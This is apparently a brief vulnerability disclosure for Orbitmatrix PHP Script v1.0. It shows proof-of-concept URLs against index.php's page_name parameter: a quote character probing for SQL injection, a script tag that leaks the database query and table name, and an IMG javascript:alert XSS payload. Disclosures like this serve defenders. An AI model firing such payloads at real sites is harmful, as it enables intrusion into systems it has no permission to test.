Orbitmatrix PHP Script v1.0
Orbitmatrix PHP Script v1.0
Homepage:
http://www.orbitcoders.com/
Affected files:
index.php
Possible SQL injection?:
http://www.example.com/index.php?page_name='
And by trying a XSS vuln as shown below on page_name we see the query below
which is displayed on screen:
http://www.example.com/index.php?page_name=contact<script>
And the displayed query:
Query: select code from pages where name=contact
Now we know the tables name is pages and a row is name.
This works on all variable values.
As the above XSS vuln wont work, we can see that using the one below will:
http://www.example.com/index.php?page_name=<IMG%20SRC=javascript:alert('XSS')>